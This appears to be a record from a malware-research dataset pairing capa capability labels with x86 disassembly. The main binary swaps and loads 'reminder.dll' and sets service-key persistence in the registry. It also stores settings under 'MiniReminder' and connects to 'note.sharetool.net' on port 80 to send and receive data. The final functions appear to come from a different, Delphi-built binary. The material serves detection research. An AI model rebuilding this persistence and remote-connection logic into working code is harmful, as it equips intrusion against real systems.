joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403790
Capabilities:
Copy file
Delete file
Move file

Disassembly:
sub esp, 0x358
mov eax, dword [0x4203c0]
xor eax, esp
mov dword [esp + 0x354], eax
xor eax, eax
mov dword [esp], eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
lea eax, [esp]
push eax
call fcn.004041e0
add esp, 4
push 0x104
lea ecx, [esp + 0x254]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x250]
push 0x5c
push edx
call fcn.0040b7c0
add esp, 8
test eax, eax
je 0x4038a6
mov byte [eax], 0
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x250]
mov byte [esp + eax + 0x14c], cl
inc eax
test cl, cl
jne 0x403800
xor eax, eax
jmp 0x403820
mov cl, byte [esp + eax + 0x250]
mov byte [esp + eax + 0x48], cl
inc eax
test cl, cl
jne 0x403820
lea eax, [esp + 0x14c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403838
mov ecx, dword [str._reminder.dll]
mov edx, dword [0x41d83c]
mov dword [eax], ecx
mov ecx, dword [0x41d840]
mov dword [eax + 4], edx
mov dx, word [0x41d844]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0x48]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403870
mov ecx, dword [str._remindernew.dll]
mov edx, dword [0x41d84c]
mov dword [eax], ecx
mov ecx, dword [0x41d850]
mov dword [eax + 4], edx
mov edx, dword [0x41d854]
mov dword [eax + 8], ecx
mov cl, byte [0x41d858]
mov dword [eax + 0xc], edx
mov byte [eax + 0x10], cl
jmp 0x4038ff
mov edx, dword [str.reminder.dll]
mov eax, dword [0x41d860]
mov ecx, dword [0x41d864]
mov dword [esp + 0x14c], edx
mov dl, byte [0x41d868]
mov dword [esp + 0x150], eax
mov eax, dword [str.remindernew.dll]
mov dword [esp + 0x154], ecx
mov ecx, dword [0x41d870]
mov byte [esp + 0x158], dl
mov edx, dword [0x41d874]
mov dword [esp + 0x48], eax
mov eax, dword [0x41d878]
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], edx
mov dword [esp + 0x54], eax
push esi
lea ecx, [esp + 0x4c]
push 0
push ecx
call fcn.0040b769
add esp, 8
cmp eax, 0xffffffff
je 0x403956
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x150]
push edx
call esi
lea eax, [esp + 0x150]
push eax
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x403956
push eax
lea edx, [esp + 0x154]
push edx
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x4c]
push ecx
call esi
lea edx, [esp + 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40399d
push str.ExTB
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40399d
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x1c]
push str._sp__s
push ecx
call fcn.0040a8f2
add esp, 0xc
push 0x1e5214
lea edx, [esp + 0x1c]
push edx
call esi
mov ecx, dword [esp + 0x358]
pop esi
xor ecx, esp
call fcn.0040a50c
add esp, 0x358
ret
Function at 0x403d30
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x40c
mov eax, dword [0x4203c0]
xor eax, esp
mov dword [esp + 0x408], eax
push esi
push edi
push str.Saving_current_status
mov ecx, ebx
call fcn.004026e0
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebx + 4]
movsb byte es:[edi], byte [esi]
add esp, 4
mov dword [esp + 8], 0
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403d75
lea edi, [esp + 0x10]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403d83
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403da0
mov ecx, dword [str.Status]
mov edx, dword [0x41da24]
mov dword [eax], ecx
mov dword [eax + 4], edx
lea eax, [esp + 0x10]
push eax
push str.Creating_key:__s
mov ecx, ebx
call fcn.004026e0
add esp, 8
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push edx
push 0
push 0x20006
push 0
push 0x41d19e
push 0
lea eax, [esp + 0x2c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x403e22
push eax
push str.Failed_to_create_Status_key___lu_
mov ecx, ebx
call fcn.004026e0
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 0x408]
xor ecx, esp
call fcn.0040a50c
add esp, 0x40c
ret
mov ecx, dword [ebx + 0x80]
lea esi, [ebx + 0x80]
push ecx
push str.Saving_Current_as__ld
mov ecx, ebx
call fcn.004026e0
mov edx, dword [esp + 0x10]
add esp, 8
push 4
push esi
push 4
push 0
push str.Current
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x410]
pop edi
pop esi
xor ecx, esp
call fcn.0040a50c
add esp, 0x40c
ret
Function at 0x403e80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x88
mov eax, dword [0x4203c0]
xor eax, esp
mov dword [esp + 0x84], eax
push esi
push edi
mov edi, ecx
call fcn.00404510
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x403030
push 0
push 0
mov dword [esp + 0x24], 0
call esi
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [esp + 0x10]
movzx eax, word [esp + 0x12]
imul edx, edx, 0x16d
mov ecx, eax
shl ecx, 4
sub ecx, eax
movzx eax, word [esp + 0x16]
lea edx, [edx + ecx*2]
add edx, eax
cmp edx, 0xb3975
jb 0x403f9c
lea ecx, [esp + 0x20]
push ecx
call fcn.004041e0
add esp, 4
lea edx, [esp + 0x20]
push str.fcbs
push edx
call fcn.0040a580
add esp, 8
test eax, eax
je 0x403f2c
mov dword [0x424104], 1
jmp 0x403f57
lea eax, [esp + 0x20]
push str.mcsl
push eax
call fcn.0040a580
add esp, 8
test eax, eax
je 0x403f4e
mov dword [0x424104], 2
jmp 0x403f57
cmp dword [0x424104], 0
jle 0x403f9c
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push 0x403a30
push 0
push 0
call esi
cmp dword [0x424104], 1
jne 0x403f9c
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0x4039c0
push 0
push 0
call esi
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x402d50
push 0
push 0
call esi
cmp dword [edi + 0x6c], 0
je 0x403fb5
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
cmp dword [edi + 0x6c], 0
jne 0x403fa8
mov ecx, dword [esp + 0x8c]
pop edi
pop esi
xor ecx, esp
call fcn.0040a50c
mov esp, ebp
pop ebp
ret

Function at 0x4041e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push esi
lea eax, [esp + 4]
push eax
push str.SOFTWAREMiniReminder
push closesocket
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x404241
mov edx, dword [esp + 0x14]
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
push esi
push str.ccode
push ecx
mov dword [esp + 0x20], 0x32
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404236
lea esi, [eax + 1]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0xc
ret

Function at 0x404250
Capabilities:
Set registry value

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
push str.SOFTWAREMiniReminder
push closesocket
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x404299
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x14]
push ecx
push 4
push eax
mov eax, dword [esp + 0x14]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40428e
lea esi, [eax + 1]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ecx
ret
Function at 0x404510
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x19c
mov eax, dword [0x4203c0]
xor eax, esp
mov dword [esp + 0x194], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x404566
cmp byte [esp], 2
jne 0x404560
mov ecx, dword [esp + 2]
shr ecx, 8
cmp cl, 2
jne 0x404560
mov al, 1
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.0040a50c
add esp, 0x19c
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x194]
xor ecx, esp
xor al, al
call fcn.0040a50c
add esp, 0x19c
ret

Function at 0x404620
Capabilities:
Connect socket
Resolve dns

Disassembly:
sub esp, 0x1c
mov eax, dword [0x4203c0]
xor eax, esp
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov eax, 2
push str.note.sharetool.net
mov word [esp + 8], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 8], eax
cmp eax, 0xffffffff
jne 0x404678
push str.note.sharetool.net
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4046d1
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 8], eax
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esp + 8]
mov word [esp + 6], ax
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0xc]
mov dword [esi + 0x18], ecx
mov ecx, dword [esp + 0x10]
mov dword [esi + 0x1c], edx
push 0x10
mov dword [esi + 0x20], eax
mov eax, dword [esi + 4]
lea edx, [esp + 8]
push edx
push eax
mov dword [esi + 0x24], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4046f6
mov edx, dword [esi]
mov eax, dword [edx + 0x20]
mov ecx, esi
call eax
xor eax, eax
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.0040a50c
add esp, 0x1c
ret
mov edx, dword [esi]
mov eax, dword [edx + 0x20]
mov ecx, esi
call eax
push 0x2726
call dword [sym.imp.WS2_32.dll_WSASetLastError]
xor eax, eax
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.0040a50c
add esp, 0x1c
ret
mov ecx, dword [esp + 0x14]
xor ecx, esp
mov eax, 1
call fcn.0040a50c
add esp, 0x1c
ret

Function at 0x404750
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebp, ecx
xor esi, esi
mov ecx, dword [ebp + 4]
push 0
mov eax, ebx
sub eax, esi
push eax
push edi
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40478c
test eax, eax
jle 0x404783
add esi, eax
add edi, eax
cmp esi, ebx
jne 0x404760
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
Function at 0x4047a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
xor esi, esi
mov ebp, ecx
test ebx, ebx
jle 0x4047ed
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [ebp + 4]
push 0
push 1
push edi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4047ec
add esi, eax
cmp esi, ebx
je 0x4047e8
mov cl, byte [edi]
cmp cl, 0xd
je 0x4047e8
cmp cl, 0xa
je 0x4047e8
add edi, eax
cmp esi, ebx
jl 0x4047b4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8
mov byte [edi], 0
dec esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x404800
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x110
push ebp
xor ebp, ebp
cmp dword [esp + 0x11c], ebp
push edi
mov edi, ecx
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], ebp
mov dword [esp + 8], ebp
jle 0x404926
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_recv]
push esi
mov esi, dword [esp + 0x124]
jmp 0x404840
cmp dword [esp + 0x10], 3
je 0x404908
mov eax, dword [edi + 4]
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
lea edx, [esp + 0x28]
push edx
push 0
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jne 0x40487a
inc dword [esp + 0x10]
jmp 0x4048e4
cmp eax, 0xffffffff
je 0x4048b5
mov ecx, dword [edi + 4]
lea eax, [esp + 0x1c]
push eax
push ecx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4048e4
mov edx, dword [edi + 4]
push 0
push 1
push esi
push edx
call ebx
cmp eax, 0xffffffff
jne 0x4048ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
je 0x4048e4
cmp eax, 0x2738
je 0x4048e4
or ebp, 0xffffffff
jmp 0x404901
test eax, eax
je 0x4048f3
add ebp, eax
cmp ebp, dword [esp + 0x128]
je 0x4048f7
cmp byte [esi], 0xa
jne 0x4048e2
cmp dword [esi - 3], 0xa0d0a0d
je 0x4048fd
cmp byte [esi - 1], 0xa
jne 0x4048e2
cmp byte [esi], 0xa
je 0x4048fd
add esi, eax
cmp ebp, dword [esp + 0x128]
jl 0x404840
jmp 0x404901
xor ebp, ebp
jmp 0x404901
mov byte [esi], 0
dec ebp
jmp 0x404901
mov byte [esi + 1], 0
cmp dword [esp + 0x10], 3
jne 0x404917
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x110
ret 8
pop esi
pop ebx
pop edi
mov eax, ebp
pop ebp
add esp, 0x110
ret 8
pop edi
mov eax, ebp
pop ebp
add esp, 0x110
ret 8

Function at 0x404940
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
push esi
push ebx
mov ebp, ecx
mov eax, dword [ebp + 4]
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404981
add esi, eax
add edi, eax
cmp esi, ebx
je 0x40498b
mov edx, dword [ebp + 4]
push 0
mov ecx, ebx
sub ecx, esi
push ecx
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x404962
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x4049d0
Capabilities:
Access peb ldr_data
Create tcp socket
Create udp socket

Disassembly:
push 0xffffffffffffffff
push 0x417f48
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x4203c0]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
mov eax, dword [0x4203c0]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
xor eax, eax
mov dword [esp + 0xc], vtable.CSocketImpl.0
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
push eax
push 1
push 2
mov dword [esp + 0x4c], eax
call dword [sym.imp.WS2_32.dll_socket]
lea esi, [esp + 0xc]
mov dword [esp + 0x10], eax
call fcn.00404620
test eax, eax
je 0x404a6e
push 0x234
call fcn.0040a6a6
add esp, 4
test eax, eax
je 0x404a6e
mov ebx, esi
mov esi, eax
call fcn.004042c0
jmp 0x404a70
xor eax, eax
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0040a50c
add esp, 0x38
ret
Function at 0x40a31c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x40a341
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x40a359
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x40a388
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x40a3ca
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x40a49e
sub edx, 0x10000
js 0x40a49e
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x40a3b0
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x40a3b0
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x40a421
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x40a41e
add edx, 8
jne 0x40a405
jmp 0x40a48f
add edx, 4
test eax, 0xffff
jne 0x40a42e
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x40a48f
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x40a462
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x40a3b0
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x40a49e
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x40a3b0
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x40a4af
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40a50c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4203c0]
jne 0x40a516
repz ret
jmp fcn.0040c1b1
Function at 0x40b6e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x40b711
call fcn.0040d8a3
mov dword [eax], esi
call fcn.0040d890
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0040abb7
add esp, 0x14
push 0x16
pop eax
jmp 0x40b766
test dword [ebp + 0xc], 0xfffffff9
jne 0x40b6ed
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40b73e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040d8b6
pop ecx
call fcn.0040d890
mov eax, dword [eax]
jmp 0x40b766
test al, 0x10
jne 0x40b764
test al, 1
je 0x40b764
test byte [ebp + 0xc], 2
je 0x40b764
call fcn.0040d8a3
mov dword [eax], 5
call fcn.0040d890
mov dword [eax], 0xd
jmp 0x40b735
xor eax, eax
pop esi
pop ebp
ret

Function at 0x4136e6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040d323
and dword [ebp - 4], 0
cmp dword [0x42209c], 0
mov ebx, eax
jne 0x413797
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413848
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413848
push eax
call fcn.0040d2b1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42209c], eax
call esi
push eax
call fcn.0040d2b1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4220a0], eax
call esi
push eax
call fcn.0040d2b1
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4220a4], eax
call esi
push eax
call fcn.0040d2b1
pop ecx
mov dword [0x4220ac], eax
test eax, eax
je 0x413797
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040d2b1
pop ecx
mov dword [0x4220a8], eax
mov eax, dword [0x4220a8]
cmp eax, ebx
je 0x4137ef
cmp dword [0x4220ac], ebx
je 0x4137ef
push eax
call fcn.0040d32c
push dword [0x4220ac]
mov esi, eax
call fcn.0040d32c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4137ef
test edi, edi
je 0x4137ef
call esi
test eax, eax
je 0x4137e6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4137e6
test byte [ebp - 0xc], 1
jne 0x4137ef
or dword [ebp + 0x10], 0x200000
jmp 0x413828
mov eax, dword [0x4220a0]
cmp eax, ebx
je 0x413828
push eax
call fcn.0040d32c
pop ecx
test eax, eax
je 0x413828
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413828
mov eax, dword [0x4220a4]
cmp eax, ebx
je 0x413828
push eax
call fcn.0040d32c
pop ecx
test eax, eax
je 0x413828
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42209c]
call fcn.0040d32c
pop ecx
test eax, eax
je 0x413848
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41384a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4031a0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x53c008], 0x8088405
inc edx
mov dword [ebx + 0x53c008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4037f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x53c024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403890
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403870
xor eax, eax
push ebp
push 0x403869
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4038ac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403870
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x53c024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x53c024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404684
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x54004c], 0
je 0x4046e5
cmp word [0x540220], 0xd7b2
jne 0x4046ad
cmp dword [0x540228], 0
jbe 0x4046ad
mov eax, 0x54021c
call dword [0x540238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x53c074
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40470c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x53c034], 0
jne 0x404701
push 0
push 0x53c06c
push 0x53c074
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404838
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402958
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x54004d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404800
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc